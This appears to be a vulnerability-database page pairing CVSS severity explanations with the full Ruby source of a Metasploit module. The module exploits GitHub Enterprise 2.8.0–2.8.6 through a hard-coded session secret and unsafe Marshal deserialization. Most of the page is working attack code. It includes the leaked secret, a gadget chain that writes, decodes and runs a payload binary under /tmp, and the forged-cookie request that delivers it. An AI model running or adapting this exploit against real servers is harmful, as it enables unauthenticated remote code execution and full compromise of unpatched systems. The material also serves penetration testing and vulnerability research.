The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Github Enterprise Default Session Secret And Deserialization##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info={})
super(update_info(info,
'Name' => "Github Enterprise Default Session Secret And Deserialization Vulnerability",
'Description' => %q{
This module exploits two security issues in Github Enterprise, version 2.8.0 - 2.8.6.
The first is that the session management uses a hard-coded secret value, which can be
abused to sign a serialized malicious Ruby object. The second problem is due to the
use of unsafe deserialization, which allows the malicious Ruby object to be loaded,
and results in arbitrary remote code execution.
This exploit was tested against version 2.8.0.
},
'License' => MSF_LICENSE,
'Author' =>
[
'iblue <iblue[at]exablue.de>', # Original discovery, writeup, and PoC (he did it all!)
'sinn3r' # Porting the PoC to Metasploit
],
'References' =>
[
[ 'EDB', '41616' ],
[ 'URL', 'http://exablue.de/blog/2017-03-15-github-enterprise-remote-code-execution.html' ],
[ 'URL', 'https://enterprise.github.com/releases/2.8.7/notes' ] # Patched in this version
],
'Platform' => 'linux',
'Targets' =>
[
[ 'Github Enterprise 2.8', { } ]
],
'DefaultOptions' =>
{
'SSL' => true,
'RPORT' => 8443
},
'Privileged' => false,
'DisclosureDate' => 'Mar 15 2017',
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, 'The base path for Github Enterprise', '/'])
], self.class)
end
def secret
'641dd6454584ddabfed6342cc66281fb'
end
def check
uri = normalize_uri(target_uri.path, 'setup', 'unlock')
res = send_request_cgi!({
'method' => 'GET',
'uri' => uri,
'vars_get' =>{
'redirect_to' => '/'
}
})
unless res
vprint_error('Connection timed out.')
return Exploit::CheckCode::Unknown
end
unless res.get_cookies.match(/^_gh_manage/)
vprint_error('No _gh_manage value in cookie found')
return Exploit::CheckCode::Safe
end
cookies = res.get_cookies
vprint_status("Found cookie value: #{cookies}, checking to see if it can be tampered...")
gh_manage_value = CGI.unescape(cookies.scan(/_gh_manage=(.+)/).flatten.first)
data = gh_manage_value.split('--').first
hmac = gh_manage_value.split('--').last.split(';', 2).first
vprint_status("Data: #{data.gsub(/\n/, '')}")
vprint_status("Extracted HMAC: #{hmac}")
expected_hmac = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, secret, data)
vprint_status("Expected HMAC: #{expected_hmac}")
if expected_hmac == hmac
vprint_status("The HMACs match, which means you can sign and tamper the cookie.")
return Exploit::CheckCode::Vulnerable
end
Exploit::CheckCode::Safe
end
def get_ruby_code
b64_fname = "/tmp/#{Rex::Text.rand_text_alpha(6)}.bin"
bin_fname = "/tmp/#{Rex::Text.rand_text_alpha(5)}.bin"
register_file_for_cleanup(b64_fname, bin_fname)
p = Rex::Text.encode_base64(generate_payload_exe)
c = "File.open('#{b64_fname}', 'wb') { |f| f.write('#{p}') }; "
c << "%x(base64 --decode #{b64_fname} > #{bin_fname}); "
c << "%x(chmod +x #{bin_fname}); "
c << "%x(#{bin_fname})"
c
end
def serialize
# We don't want to run this code within the context of Framework, so we run it as an
# external process.
# Brilliant trick from Brent and Adam to overcome the issue.
ruby_code = %Q|
module Erubis;class Eruby;end;end
module ActiveSupport;module Deprecation;class DeprecatedInstanceVariableProxy;end;end;end
erubis = Erubis::Eruby.allocate
erubis.instance_variable_set :@src, \\"#{get_ruby_code}; 1\\"
proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.allocate
proxy.instance_variable_set :@instance, erubis
proxy.instance_variable_set :@method, :result
proxy.instance_variable_set :@var, "@result"
session =
{
'session_id' => '',
'exploit' => proxy
}
print Marshal.dump(session)
|
serialized_output = `ruby -e "#{ruby_code}"`
serialized_object = [serialized_output].pack('m')
hmac = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, secret, serialized_object)
return serialized_object, hmac
end
def send_serialized_data(dump, hmac)
uri = normalize_uri(target_uri.path)
gh_manage_value = CGI.escape("#{dump}--#{hmac}")
cookie = "_gh_manage=#{gh_manage_value}"
res = send_request_cgi({
'method' => 'GET',
'uri' => uri,
'cookie' => cookie
})
if res
print_status("Server returned: #{res.code}")
end
end
def exploit
dump, hmac = serialize
print_status('Serialized Ruby stager')
print_status('Sending serialized Ruby stager...')
send_serialized_data(dump, hmac)
end
end
=begin
Handy information:
To deobfuscate Github code, use this script:
https://gist.github.com/wchen-r7/003bef511074b8bc8432e82bfbe0dd42
Github Enterprise's Rack::Session::Cookie saves the session data into a cookie using this
algorithm:
* Takes the session hash (Json) in env['rack.session']
* Marshal.dump the hash into a string
* Base64 the string
* Append a hash of the data at the end of the string to prevent tampering.
* The signed data is saved in _gh_manage'
The format looks like this:
[ DATA ]--[ Hash ]
Also see:
https://github.com/rack/rack/blob/master/lib/rack/session/cookie.rb
=end
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